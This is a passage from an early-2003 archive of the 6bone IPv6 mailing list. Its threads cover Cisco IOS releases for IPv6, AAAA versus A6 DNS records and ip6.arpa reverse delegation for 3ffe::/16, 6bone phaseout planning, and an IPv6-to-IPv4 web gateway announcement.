   3ffe:8180::/28      TIAI/US


Thanks,

Bob


From jeroen@unfix.org Tue Jan 28 11:50:39 2003
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Subject: [6bone] IPv6Gate - IPv6 for IPv4 only websites
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Hi,

We've setup a IPv6 to IPv4 website gateway which allows to access
any IPv4 website over IPv6 using a gateway trick.
As http:// url's get rewritten one will remain in the gateway domain
so that one will continue to access the sites over IPv6.

Maybe if they get enough hits they might be hinted that IPv6 use is
rising and maybe we can pursuade them this way to start making their
websites natively IPv6 accessible.

Contact info for this info@sixxs.net
And the gate can be detected in your logs as it is using
the following User-Agent:
SixXS-IPv6Gate/1.0 (IPv6 Gateway; http://ipv6gate.sixxs.net;
info@sixxs.net)
Which should allow unaware admins to at least contact us in case of
problems. Notez bien the real client IPv6 address is passed along
in the X-FORWARDED-FOR header just like 'normal' http proxies and we
log all accesses.

Also note that when using www.6bone.net.sixxs.org the gateway
recognises this special case and uses the IPv4 address of the
site to connect; allowing the master server to be seen instead
of the usually out-of-sync IPv6 version.

For more information see: http://ipv6gate.sixxs.net

Greets,
 Jeroen


From Marc.Blanchet@viagenie.qc.ca Tue Jan 28 15:16:45 2003
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From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
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Subject: Re: [6bone] Site addressing best practices?
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-- mardi, janvier 28, 2003 10:22:36 -0600 Aron Silverton <ajs@labs.mot.com>
wrote/a écrit:

> Michel,
> 
> Michel Py wrote:
>>> Aron Silverton wrote:
>> 
>> 
>>> Does anybody out there have a sample address plan or a document
>>> on best practices for delegating IPv6 addresses within an ISP
>>> or organization?
>> 
>> 
>> Make sure you read:
>> http://www.ietf.org/internet-drafts/draft-ietf-ipv6-ipaddressassign-06.t
>> xt
>> 
> 
> Thanks, We are aware of that draft.

my colleague Jocelyn made a perl script that implements the draft and did a
web page to facilitate its use. Feel free to use it:
http://www.viagenie.qc.ca/en/ipv6/allocation/index.shtml

Marc.


> Aron
> 
> -- 
> Aron J. Silverton
> Senior Staff Research Engineer
> Motorola Laboratories, Networks and Infrastructure Research
> Motorola, Inc.
> 
> Telephone: 847-576-8747
> Fax: 847-576-3240
> mailto: ajs@labs.mot.com


From bob@thefinks.com Wed Jan 29 07:59:31 2003
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The 6bone pTLA allocated to ERA has been returned voluntarily.

   3ffe:2700::/24      ERA/SE


Thanks,

Bob 


From anil.bhaskar@wipro.com Thu Jan 30 20:14:17 2003
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From: "Anil Bhaskarwar" <anil.bhaskar@wipro.com>
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Hi,
I want to configure DHCPv6, OSPF3 and Mobile IPv6 on a Cisco Router. I
have got the latest version i.e., 12.2(13T). This version is compiled on
3 Jan 2003.
Can anybody tell whether this version supports one or all the above
mentioned protocols, as in the release notes I found that the version
supports OSPF3 but not able to see the commands related to OSPF for IPv6
(OSPF3). Whether we have to enable OSPF3 routing as in the release notes
it is written that only RIPng is enabled by default but not OSPF3.=20
Looking forward for your valuable reply.

Thanks and Best Regards,
Anil B.
Wipro Tech.
Electronics City-2=20
India
Board No: +91-80-8520408-Ext: 5438
Direct No: +91-80-8528778


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From marcel@fairlight.ofc.support.nl Fri Jan 31 00:25:04 2003
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From: Marcel Lemmen <marcel@support.nl>
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Subject: [6bone] Cisco IOS Experiences
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Hi all,

I'm looking for the several options to deploy IPv6 into our core-network.
We have several Cisco's (7200 and 7500's) which need to be upgraded to a
12.2T IOS if we want a dual-stack network.

Does anyone has experiences with these IOS'es in a production environment
(good and bad please)? Please let me know if there were any problem, how
this has been solved etc. I need to convince the management this IOS is
good enough to use :)

Thank you in advance.

With kind regards,

Marcel Lemmen
Support Net - Partner in Internetworking

--= Try http://alt.binaries.nl =--

From berni@birkenwald.de Fri Jan 31 09:30:34 2003
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From: Bernhard Schmidt <berni@birkenwald.de>
To: Marcel Lemmen <marcel@support.nl>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Cisco IOS Experiences
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On Fri, Jan 31, 2003 at 09:25:02AM +0100, Marcel Lemmen wrote:

> Does anyone has experiences with these IOS'es in a production environment
> (good and bad please)? Please let me know if there were any problem, how
> this has been solved etc. I need to convince the management this IOS is
> good enough to use :)

We are running 12.2T since about 12.2(4)T on two 7206VXR located at INXS
and DECIX (public exchange points) since about nine months. The first
version were very buggy, e.g. broken unicast IPv4 BGP when enabling
multicast IPv4 BGP, broken OSPF, sudden reloads up to 12.2(11)T2 when
deleting a tunnel interface, 99%/100% cpu for hours until reloading
after running fine for a couple of weeks, and so on. 12.2(13)T runs okay
right now, while we have problems on one machine mixing up IPv6 headers
when forwarding packets through a tunnel. But since this problem did not
appear on any other of our routers we think it might be a hardware
problem.

We also have 12.2(13)T running on two 7507 in the core network. These
machines mixed up routing for one special host after reloading (while
the rest of the network the host was running in was routed okay, and the
host did _not_ have a /32 route, neither in the IP routing table nor in
the dCEF table). The problem could be fixed by clearing the OSPF process.
The rest of the problems is rather cosmetic, e.g. one of the 7500s does
not appear in the IPv6 traceroute definitely going through this router
on one day, then appears on another, then disappears and so on. Also,
you should note that if you want to use the only available decent IPv6
IGP (IS-IS) with tunnels you have to use GRE tunnels, which currently do
not use IPv6 (d)CEF. A 7500 doing 100Mbps of IPv4 has about 10% cpu
load, doing additional 5Mbps of IPv6 with ipv6ip tunnels increased to
load to about 15% while using GRE tunnels the CPU load increased to more
than 40%! So you should not use GRE tunnels on heavy loaded systems if
possible.

At this time I would wait for 12.2S which was sheduled for January,
27th, so we hope it will be there soon.

-- 
   bye bye
     Bernhard

From bj@zuto.de Sat Feb  1 00:50:56 2003
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From: bj@zuto.de (Rainer)
Subject: [6bone] Re: Cisco IOS Experiences
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Bernhard Schmidt wrote:
> At this time I would wait for 12.2S which was sheduled for January,
> 27th, so we hope it will be there soon.


12.2.14S was released on 30-01-2003. It seems to have the complete IPv6
feature-set for cisco 7[245]00 - except of OSPFv3:

http://www.cisco.com/univercd/cc/td/doc/product/software/ios122/122newft/122t/122t13/ipv6/ftipv6s.htm


Rainer

-- 
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From dr@cluenet.de Sat Feb  1 03:46:51 2003
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From: Daniel Roesen <dr@cluenet.de>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] Cisco IOS Experiences
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On Fri, Jan 31, 2003 at 06:30:29PM +0100, Bernhard Schmidt wrote:
> At this time I would wait for 12.2S which was sheduled for January,

I'd also recommend 12.2S in favour of 12.2T.

> 27th, so we hope it will be there soon.

12.2(14)S is out since yesterday.


Best regards,
Daniel

From gert@Space.Net Sat Feb  1 10:47:55 2003
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Hi,

On Fri, Jan 31, 2003 at 06:30:29PM +0100, Bernhard Schmidt wrote:
> At this time I would wait for 12.2S which was sheduled for January,
> 27th, so we hope it will be there soon.

12.2(14)S for 7200, 7400 and 7500 is out since yesterday.  From the
release notes, it seems to have all the IPv6 stuff that's in 12.2(11)T,
but not everything that is contained in 12.2(13)T - especially the
support for IPv6 stuff via radius (important for dial-in and VPN)
seems to be missing.

I haven't yet tried 12.2(14)S on any platform, but I'd very much like
to hear about other's experiences with it.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  55671 (55600)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From mohacsi@evil.ki.iif.hu Mon Feb  3 00:28:09 2003
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Subject: Re: [6bone] Want help in Configuring OSPF3, DHCPv6 and Mobile IPv6
 in Cisco Router.
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On Fri, 31 Jan 2003, Anil Bhaskarwar wrote:

> Hi,
> I want to configure DHCPv6, OSPF3 and Mobile IPv6 on a Cisco Router. I
> have got the latest version i.e., 12.2(13T). This version is compiled on
> 3 Jan 2003.
> Can anybody tell whether this version supports one or all the above
> mentioned protocols, as in the release notes I found that the version
> supports OSPF3 but not able to see the commands related to OSPF for IPv6
> (OSPF3). Whether we have to enable OSPF3 routing as in the release notes
> it is written that only RIPng is enabled by default but not OSPF3.
> Looking forward for your valuable reply.


Unfortunately the 12.2(13)T does not support OSPFv3. The next version
will, according to the Cisco release plan. There is a beta IPv6 image,
that has support for OSPFv3, but I do not recommend using it unless you
want to debug Cisco IOS bugs... DHCPv6 is not available for Cisco routers,
but soon there will be a beta image.

Best Regards,
	Janos Mohacsi
	6NET project
	(www.6net.org)

>
> Thanks and Best Regards,
> Anil B.
> Wipro Tech.
> Electronics City-2
> India
> Board No: +91-80-8520408-Ext: 5438
> Direct No: +91-80-8528778
>
>


From michel@arneill-py.sacramento.ca.us Mon Feb  3 10:43:52 2003
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Subject: [6bone] 6bone phaseout planning announcement
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Bob / Bob,

Do we have a 6bone meeting in SF? I think that this topic is consensual
enough so we could wrap it up there, get ML's approval and then ship it.

My reading is that there are differences of opinion on the dates. I
specifically say "differences of opinion" instead of "disagreements"
because although several people have contributed alternative dates,
there is also a general feeling that the dates proposed in the draft are
acceptable, so this should not stop the text from moving.

Michel.


From bob@thefinks.com Mon Feb  3 19:14:06 2003
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Michel,

At 10:43 AM 2/3/2003 -0800, Michel Py wrote:
>Bob / Bob,
>
>Do we have a 6bone meeting in SF? I think that this topic is consensual
>enough so we could wrap it up there, get ML's approval and then ship it.
>
>My reading is that there are differences of opinion on the dates. I
>specifically say "differences of opinion" instead of "disagreements"
>because although several people have contributed alternative dates,
>there is also a general feeling that the dates proposed in the draft are
>acceptable, so this should not stop the text from moving.

I will schedule a meeting in San Francisco; probably the usual lunchtime 
meeting.

I agree with your assessment of the response to the proposal, so far. I do 
believe we need a wider audience commenting.

Stay tuned.


Thanks,

Bob 


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Hi,

I'm just about to write a brief explanation about the RRs that need to be 
added to the ones described in RFC 1034 / 1035, in order to add support for 
IPv6.

I've read RFC 3363, and it recommends that RFC 1886 stay on standards track 
and be advanced, and to move RFC 2874 to Experimental status.

Shall I make comments on AAAA records, and don't even mention A6 records?

About address mapping, RFC 3152 says IP6.ARPA should be used, instead IP6.INT.
The same here: shall I omit the description of IP6.INT, or it is still 
being used, and so, I should describe it?

TIA,
Fernando Gont
e-mail: fernando@gont.com.ar



From aangel@myrealbox.com Tue Feb  4 17:39:02 2003
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Subject: Re: [6bone] DNS support for IPv6
From: "Aaron J. Angel" <aangel@myrealbox.com>
To: Fernando Gont <fernando@gont.com.ar>
Cc: 6bone@ISI.EDU
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On Tue, 2003-02-04 at 19:00, Fernando Gont wrote:
> Hi,
> 
> I'm just about to write a brief explanation about the RRs that need to be 
> added to the ones described in RFC 1034 / 1035, in order to add support for 
> IPv6.
> 
> I've read RFC 3363, and it recommends that RFC 1886 stay on standards track 
> and be advanced, and to move RFC 2874 to Experimental status.
> 
> Shall I make comments on AAAA records, and don't even mention A6 records?

Currently, most IPv6 software only supports AAAA records, however IIRC,
A6 records haven't died as a proposed standard (or I disagree eith it if
they have).  Only DNAME has that I'm aware of.  If I'm worng, please,
someone tell me. I'd mention the A6 RR, is it's rather nifty if I say so
myself.

The only problem is when using them for critical records like MX or NS,
but then most people forget that you can use the whole address with a
prefixlen of 0...djb forgot that, IIRC...or at least, neglects to
mention it to assist him in spreading FUD.

In short, mention it!  At least, that's my opinion.

> About address mapping, RFC 3152 says IP6.ARPA should be used, instead IP6.INT.
> The same here: shall I omit the description of IP6.INT, or it is still 
> being used, and so, I should describe it?

At this point, the only network using ip6.int is the 6bone, afaik.  I
would mention it as such.

> TIA,
> Fernando Gont
> e-mail: fernando@gont.com.ar
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From aangel@myrealbox.com Tue Feb  4 19:20:02 2003
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From: "Aaron J. Angel" <aangel@myrealbox.com>
To: Carl Brewer <carl@bl.echidna.id.au>
Cc: 6bone@ISI.EDU
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On Tue, 2003-02-04 at 19:22, Carl Brewer wrote:
> Fernando Gont wrote:
> > Hi,
> > 
> > I'm just about to write a brief explanation about the RRs that need to 
> > be added to the ones described in RFC 1034 / 1035, in order to add 
> > support for IPv6.
> > 
> > I've read RFC 3363, and it recommends that RFC 1886 stay on standards 
> > track and be advanced, and to move RFC 2874 to Experimental status.
> > 
> > Shall I make comments on AAAA records, and don't even mention A6 records?
> 
> You want to mention them, but mention that they've been shelved,
> cite the RFC that explains why :)

Which one would that be?  I can't find any particular RFC, or actual
standards-related document about A6. I certainly know about DNAME, but I
can't find any document on that either at the moment.  As far as I knew,
A6 wasn't shelved, only DNAME. I can understand DNAME, but not A6. A6
can be incredibly useful, and it's does /not/ pose as many problems as
people think it does (at least, problems that aren't easily solved).


From dragon@tdoi.org Tue Feb  4 22:13:58 2003
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Subject: Re: [6bone] Re: DNS support for IPv6
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> On Tue, 2003-02-04 at 19:22, Carl Brewer wrote:
> > Fernando Gont wrote:
> > > Hi,
> > > 
> > > I'm just about to write a brief explanation about the RRs that need to 
> > > be added to the ones described in RFC 1034 / 1035, in order to add 
> > > support for IPv6.
> > > 
> > > I've read RFC 3363, and it recommends that RFC 1886 stay on standards 
> > > track and be advanced, and to move RFC 2874 to Experimental status.
> > > 
> > > Shall I make comments on AAAA records, and don't even mention A6 records?
> > 
> > You want to mention them, but mention that they've been shelved,
> > cite the RFC that explains why :)
> 
> Which one would that be?  I can't find any particular RFC, or actual
> standards-related document about A6. I certainly know about DNAME, but I
> can't find any document on that either at the moment.  As far as I knew,
> A6 wasn't shelved, only DNAME. I can understand DNAME, but not A6. A6
> can be incredibly useful, and it's does /not/ pose as many problems as
> people think it does (at least, problems that aren't easily solved).

read RFC 3363 again

Greets,
 Christian


From dragon@tdoi.org Tue Feb  4 22:17:55 2003
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Subject: Re: [6bone] DNS support for IPv6
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Hi,

> On Tue, 2003-02-04 at 19:00, Fernando Gont wrote:
> > Hi,
> > 
> > I'm just about to write a brief explanation about the RRs that need to be 
> > added to the ones described in RFC 1034 / 1035, in order to add support for 
> > IPv6.
> > 
> > I've read RFC 3363, and it recommends that RFC 1886 stay on standards track 
> > and be advanced, and to move RFC 2874 to Experimental status.
> > 
> > Shall I make comments on AAAA records, and don't even mention A6 records?
> 
> Currently, most IPv6 software only supports AAAA records, however IIRC,
> A6 records haven't died as a proposed standard (or I disagree eith it if
> they have).  Only DNAME has that I'm aware of.  If I'm worng, please,
> someone tell me. I'd mention the A6 RR, is it's rather nifty if I say so
> myself.
> 
> The only problem is when using them for critical records like MX or NS,
> but then most people forget that you can use the whole address with a
> prefixlen of 0...djb forgot that, IIRC...or at least, neglects to
> mention it to assist him in spreading FUD.
> 
> In short, mention it!  At least, that's my opinion.
> 
> > About address mapping, RFC 3152 says IP6.ARPA should be used, instead IP6.INT.
> > The same here: shall I omit the description of IP6.INT, or it is still 
> > being used, and so, I should describe it?
> 
> At this point, the only network using ip6.int is the 6bone, afaik.  I
> would mention it as such.

Currently you can use both ip6.int and ip6.arpa with 3ffe::/16 and 2001::/16,
but ip6.arpa should be preferred.

> 
> > TIA,
> > Fernando Gont
> > e-mail: fernando@gont.com.ar

Greets,
 Christian


From rocheml@httrack.com Tue Feb  4 22:30:46 2003
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To: 6bone@ISI.EDU
From: Xavier Roche <rocheml@httrack.com>
Subject: Re: [6bone] Re: DNS support for IPv6
Cc: "Aaron J. Angel" <aangel@myrealbox.com>
In-Reply-To: <1044415088.52581.11.camel@newstone.aquarius.null>
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 <4.3.2.7.2.20030204215637.00d16e20@gont.com.ar>
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>> You want to mention them, but mention that they've been shelved,
>> cite the RFC that explains why :)
>>Which one would that be?  I can't find any particular RFC, or actual

This one:

http://www.ietf.org/rfc/rfc2474.txt?number=2474

And its update: (August 2002)
http://www.ietf.org/rfc/rfc3364.txt?number=3364

See "Less Compelling Arguments in Favor of AAAA" and "Potential Problems with A6" sections.

"
   Recommendations based on these questions:

   (1) If the IPv6 working groups seriously intend to specify and deploy
       rapid renumbering or GSE-like routing, we should transition to
       using the A6 RR in the main tree and to using DNAME RRs as
       necessary in the reverse tree.

   (2) Otherwise, we should keep the simpler AAAA solution in the main
       tree and should not use DNAME RRs in the reverse tree.

   (3) In either case, the reverse tree should use the textual
       representation described in [RFC1886] rather than the bit label
       representation described in [RFC2874].

   (4) If we do go to using A6 RRs in the main tree and to using DNAME
       RRs in the reverse tree, we should write applicability statements
       and implementation guidelines designed to discourage excessively
       complex uses of these features; in general, any network that can
       be described adequately using A6 0 RRs and without using DNAME
       RRs should be described that way, and the enhanced features
       should be used only when absolutely necessary, at least until we
       have much more experience with them and have a better
       understanding of their failure modes.
"




From koch@tiscali.net Wed Feb  5 01:29:45 2003
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From: Alexander Koch <koch@tiscali.net>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] Cisco IOS Experiences
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Hiya.

As we cover this topic here and I am truly not a cisco
expert... What IOS image would I want to use for a 7206 that
needs to do NAT (!) and IS-IS? Anyone? NAT is only for
enterprise images?

Thanks,
Alexander


From aangel@myrealbox.com Wed Feb  5 03:51:05 2003
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Subject: Re: [6bone] Re: DNS support for IPv6
From: "Aaron J. Angel" <aangel@myrealbox.com>
To: Xavier Roche <rocheml@httrack.com>
Cc: 6bone@ISI.EDU
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On Wed, 2003-02-05 at 00:30, Xavier Roche wrote:
> >> You want to mention them, but mention that they've been shelved,
> >> cite the RFC that explains why :)
> >>Which one would that be?  I can't find any particular RFC, or actual
> 
> This one:
> 
> http://www.ietf.org/rfc/rfc2474.txt?number=2474

That's definitely not it...

> And its update: (August 2002)
> http://www.ietf.org/rfc/rfc3364.txt?number=3364

But this was a rather interesting read.

> See "Less Compelling Arguments in Favor of AAAA" and "Potential Problems with A6" sections."

See also Less "Compelling Arguments in Favor of A6" and the Main
Advantages sections.

>    Recommendations based on these questions:
> 
>    (1) If the IPv6 working groups seriously intend to specify and deploy
>        rapid renumbering or GSE-like routing, we should transition to
>        using the A6 RR in the main tree and to using DNAME RRs as
>        necessary in the reverse tree.

Agreed, given number (3).

>    (3) In either case, the reverse tree should use the textual
>        representation described in [RFC1886] rather than the bit label
>        representation described in [RFC2874].


From MMESTDAG@ncsbe.jnj.com Wed Feb  5 06:20:28 2003
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Subject: RE: [6bone] Cisco IOS Experiences
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NAT can be found in the IP only image too, so no enterprise image needed for
that.

Regs
Mark

> -----Original Message-----
> From: Alexander Koch [mailto:koch@tiscali.net]
> Sent: Wednesday, 5 February 2003 10:30
> To: 6bone@mailman.isi.edu
> Subject: Re: [6bone] Cisco IOS Experiences
> 
> 
> Hiya.
> 
> As we cover this topic here and I am truly not a cisco
> expert... What IOS image would I want to use for a 7206 that
> needs to do NAT (!) and IS-IS? Anyone? NAT is only for
> enterprise images?
> 
> Thanks,
> Alexander
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

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<P><FONT SIZE=3D2>NAT can be found in the IP only image too, so no =
enterprise image needed for that.</FONT>
</P>

<P><FONT SIZE=3D2>Regs</FONT>
<BR><FONT SIZE=3D2>Mark</FONT>
</P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Alexander Koch [<A =
HREF=3D"mailto:koch@tiscali.net">mailto:koch@tiscali.net</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Wednesday, 5 February 2003 10:30</FONT>
<BR><FONT SIZE=3D2>&gt; To: 6bone@mailman.isi.edu</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: [6bone] Cisco IOS =
Experiences</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Hiya.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; As we cover this topic here and I am truly not =
a cisco</FONT>
<BR><FONT SIZE=3D2>&gt; expert... What IOS image would I want to use =
for a 7206 that</FONT>
<BR><FONT SIZE=3D2>&gt; needs to do NAT (!) and IS-IS? Anyone? NAT is =
only for</FONT>
<BR><FONT SIZE=3D2>&gt; enterprise images?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Thanks,</FONT>
<BR><FONT SIZE=3D2>&gt; Alexander</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; =
_______________________________________________</FONT>
<BR><FONT SIZE=3D2>&gt; 6bone mailing list</FONT>
<BR><FONT SIZE=3D2>&gt; 6bone@mailman.isi.edu</FONT>
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HREF=3D"http://mailman.isi.edu/mailman/listinfo/6bone" =
TARGET=3D"_blank">http://mailman.isi.edu/mailman/listinfo/6bone</A></FON=
T>
<BR><FONT SIZE=3D2>&gt; </FONT>
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From jorgen@hovland.cx Wed Feb  5 06:56:11 2003
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Subject: Re: [6bone] Cisco IOS Experiences
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----- Original Message -----
From: "Alexander Koch" <koch@tiscali.net>
Sent: Wednesday, February 05, 2003 10:29 AM
Subject: Re: [6bone] Cisco IOS Experiences


> Hiya.
>
> As we cover this topic here and I am truly not a cisco
> expert... What IOS image would I want to use for a 7206 that
> needs to do NAT (!) and IS-IS? Anyone? NAT is only for
> enterprise images?
>
> Thanks,
> Alexander

Hi Alexander

c7200-is-mz.122-14.S should do that. I take it that you ofcourse want IPv6
support.
NAT(!!!) is not only for enterprise images.


-j


From mohacsi@evil.ki.iif.hu Wed Feb  5 07:47:25 2003
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Hi to All,

On Wed, 5 Feb 2003, [iso-8859-1] Jørgen Hovland wrote:

> ----- Original Message -----
> From: "Alexander Koch" <koch@tiscali.net>
> Sent: Wednesday, February 05, 2003 10:29 AM
> Subject: Re: [6bone] Cisco IOS Experiences
>
>
> > Hiya.
> >
> > As we cover this topic here and I am truly not a cisco
> > expert... What IOS image would I want to use for a 7206 that
> > needs to do NAT (!) and IS-IS? Anyone? NAT is only for
> > enterprise images?
> >
> > Thanks,
> > Alexander
>
> Hi Alexander
>
> c7200-is-mz.122-14.S should do that. I take it that you ofcourse want IPv6
> support.
> NAT(!!!) is not only for enterprise images.

But IS-IS is different thing. For IS-IS you need either enterprise or
provider image. Unfortunately NAT is not supported in the service provider
release, thus your only option is enterprise image.

	Regards,
		Janos Mohacsi
                6NET project





From rrockell@sprint.net Wed Feb  5 08:36:05 2003
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Making the transition from 2001:440::/35 to 2001:440::/32 has caused us the
need (based on config/software) to clear bgp to all neighbors this morning.
Apologies for the inconvenience (but then again, this is why it is free :)
).  It looks like some parts of the network were stuck in 2001:440::/35 as
exported route.  This is now fixed.

Thanks.  Let me know if you see any residual weirdness (privately please)
and we'll be sure to address.

Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
-----------------------------------------------------------------------


From Emanuele.Logalbo@TILAB.COM Thu Feb  6 03:16:03 2003
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Hi.
I have set up the Ipv6 multicast test plant.
I installed pim6sd from its port in each of the 3 router I am going to set up.
I wrote static unicast routing table instead of using RIP (I mean routed).
Running netstat -nr I can find unicast routing table (infact I can ping all of my machines) but there are no multicast address except reserved ones.
When I run pim6sd it tell me there is no global address available.
What does it mean? In reality I gave site-local addresses to all interfaces because I want to estabilish an external link after having tested vic, rat, ect .. in local enviroment.
So have I to give global addresses?
I hope you will help me again. Thank you.
Best regards
Emanuele




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From aangel@myrealbox.com Sat Feb  8 13:30:25 2003
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Subject: Re: [6bone] DNS support for IPv6
From: "Aaron J. Angel" <aangel@myrealbox.com>
To: Christian Nickel <dragon@tdoi.org>
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On Wed, 2003-02-05 at 00:17, Christian Nickel wrote:

> Currently you can use both ip6.int and ip6.arpa with 3ffe::/16 and 2001::/16,
> but ip6.arpa should be preferred.

That's just a tad bit misleading.  You *can*, sure; but there is no
reverse delegation for 3ffe::/16 under ip6.arpa, only ip6.int.


From dragon@tdoi.org Sat Feb  8 13:57:50 2003
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Hi,

> > Currently you can use both ip6.int and ip6.arpa with 3ffe::/16 and 2001::/16,
> > but ip6.arpa should be preferred.
> 
> That's just a tad bit misleading.  You *can*, sure; but there is no
> reverse delegation for 3ffe::/16 under ip6.arpa, only ip6.int.

Aaron thats not correct there is an ip6.arpa reverse delegation for 3ffe::/16!


Greets,
 Christian


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Subject: Re: [6bone] DNS support for IPv6
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On Sat, 2003-02-08 at 15:57, Christian Nickel wrote:
> Hi,
> 
> > > Currently you can use both ip6.int and ip6.arpa with 3ffe::/16 and 2001::/16,
> > > but ip6.arpa should be preferred.
> > 
> > That's just a tad bit misleading.  You *can*, sure; but there is no
> > reverse delegation for 3ffe::/16 under ip6.arpa, only ip6.int.
> 
> Aaron thats not correct there is an ip6.arpa reverse delegation for 3ffe::/16!

Really?  When did this happen?  ::is clueless::


From dragon@tdoi.org Sat Feb  8 14:21:57 2003
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Subject: Re: [6bone] DNS support for IPv6
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Hi,


> > > > Currently you can use both ip6.int and ip6.arpa with 3ffe::/16 and 2001::/16,
> > > > but ip6.arpa should be preferred.
> > > 
> > > That's just a tad bit misleading.  You *can*, sure; but there is no
> > > reverse delegation for 3ffe::/16 under ip6.arpa, only ip6.int.
> > 
> > Aaron thats not correct there is an ip6.arpa reverse delegation for 3ffe::/16!
> 
> Really?  When did this happen?  ::is clueless::


since January 2003


> Dear Colleagues,
>
> In accordance with RFC 3152, the administration of the name space within
> ip6.arpa has been delegated to the RIRs. The 3FFE::/16 address space has 
> Not yet been allocated to the RIRs by the IANA. It is the intention that 
> the RIRs administer this space. The community has expressed a need for 
> 3FFE reverse space to be in the ip6.arpa domain. The RIR CEOs sent a 
> message to the IAB requesting a waiver regarding the RFC 3152 
> requirement and received a positive response. The RIRs are prepared to 
> administer e.f.f.3.ip6.arpa domain in the manner as described below.
>
> We plan to implement it in the next few weeks and deliver the solution 
> soon after the RIPE 44 Meeting in January.
>
> Regards,
>
> Andrei Robachevsky
> CTO, RIPE NCC 
>
>
> Support for reverse delegation for 6bone address space in ip6.arpa DNS tree
> ---------------------------------------------------------------------------
>
> Phase I. Before a final decision is made on future management of the 
> 3FFE address space
>
> The delegation for e.f.f.3.ip6.arpa is made by IANA to one of the RIRs. 
> Zone information for this space is produced by copying the existing 
> delegations in the e.f.f.3.ip6.int zone. Additional check is done to 
> ensure that the servers corresponding to the NS RR are also 
> authoritative in .arpa space. Zone information is updated whenever 
> changes are detected in the e.f.f.3.ip6.int zone.
>
> This approach has a couple of advantages. It keeps the RIRs out of the 
> 6bone registration process until a final decision is made on future 
> management of the 3FFE address space. It also implies no procedural 
> changes from a user's perspective since changes are made in only one 
> place, while at the same time it moves responsibility for maintaining 
> the e.f.f.3.ip6.arpa zone to the RIRs. This then prepares for a smoother 
> transition to Phase II.
>
> The main constraint of this approach is that it forces registrants to 
> use the same name servers for .arpa as for .int.
>
>
> Phase II. Registration of 3FFE space is transferred to the RIRs
>
> A shared zone management process will be implemented similar to that
> currently implemented by the RIRs for the legacy v4 space (ERX project,
> http://www.ripe.net/db/erx/). That is, holders of 6bone address space 
> will be served for reverse delegation by the respective RIR in their 
> region, and the generation of the e.f.f.3.ip6.arpa zone can be entirely 
> automated using zone merging.


Greets,
 Christian

------------------------------------------
TDOI Network | www.tdoi.org | noc@tdoi.org



From bmanning@ISI.EDU Sat Feb  8 16:43:30 2003
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] DNS support for IPv6
In-Reply-To: <001101c2cfc0$6d03ef00$152ea8c0@alpha> from Christian Nickel at "Feb 8, 3 11:21:28 pm"
To: dragon@tdoi.org (Christian Nickel)
Date: Sat, 8 Feb 2003 16:43:24 -0800 (PST)
Cc: fernando@gont.com.ar, 6bone@ISI.EDU, aangel@myrealbox.com
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You will note on careful inspection that Andrei's note was a -PROPOSAL-
that has not yet been implemented.  


% 
% > > > > Currently you can use both ip6.int and ip6.arpa with 3ffe::/16 and 2001::/16,
% > > > > but ip6.arpa should be preferred.
% > > > 
% > > > That's just a tad bit misleading.  You *can*, sure; but there is no
% > > > reverse delegation for 3ffe::/16 under ip6.arpa, only ip6.int.
% > > 
% > > Aaron thats not correct there is an ip6.arpa reverse delegation for 3ffe::/16!
% > 
% > Really?  When did this happen?  ::is clueless::
% 
% 
% since January 2003
% 
% 
% > Dear Colleagues,
% >
% > In accordance with RFC 3152, the administration of the name space within
% > ip6.arpa has been delegated to the RIRs. The 3FFE::/16 address space has 
% > Not yet been allocated to the RIRs by the IANA. It is the intention that 
% > the RIRs administer this space. The community has expressed a need for 
% > 3FFE reverse space to be in the ip6.arpa domain. The RIR CEOs sent a 
% > message to the IAB requesting a waiver regarding the RFC 3152 
% > requirement and received a positive response. The RIRs are prepared to 
% > administer e.f.f.3.ip6.arpa domain in the manner as described below.
% >
% > We plan to implement it in the next few weeks and deliver the solution 
% > soon after the RIPE 44 Meeting in January.
% >
% > Regards,
% >
% > Andrei Robachevsky
% > CTO, RIPE NCC 
% >
% >
% > Support for reverse delegation for 6bone address space in ip6.arpa DNS tree
% > ---------------------------------------------------------------------------
% >
% > Phase I. Before a final decision is made on future management of the 
% > 3FFE address space
% >
% > The delegation for e.f.f.3.ip6.arpa is made by IANA to one of the RIRs. 
% > Zone information for this space is produced by copying the existing 
% > delegations in the e.f.f.3.ip6.int zone. Additional check is done to 
% > ensure that the servers corresponding to the NS RR are also 
% > authoritative in .arpa space. Zone information is updated whenever 
% > changes are detected in the e.f.f.3.ip6.int zone.
% >
% > This approach has a couple of advantages. It keeps the RIRs out of the 
% > 6bone registration process until a final decision is made on future 
% > management of the 3FFE address space. It also implies no procedural 
% > changes from a user's perspective since changes are made in only one 
% > place, while at the same time it moves responsibility for maintaining 
% > the e.f.f.3.ip6.arpa zone to the RIRs. This then prepares for a smoother 
% > transition to Phase II.
% >
% > The main constraint of this approach is that it forces registrants to 
% > use the same name servers for .arpa as for .int.
% >
% >
% > Phase II. Registration of 3FFE space is transferred to the RIRs
% >
% > A shared zone management process will be implemented similar to that
% > currently implemented by the RIRs for the legacy v4 space (ERX project,
% > http://www.ripe.net/db/erx/). That is, holders of 6bone address space 
% > will be served for reverse delegation by the respective RIR in their 
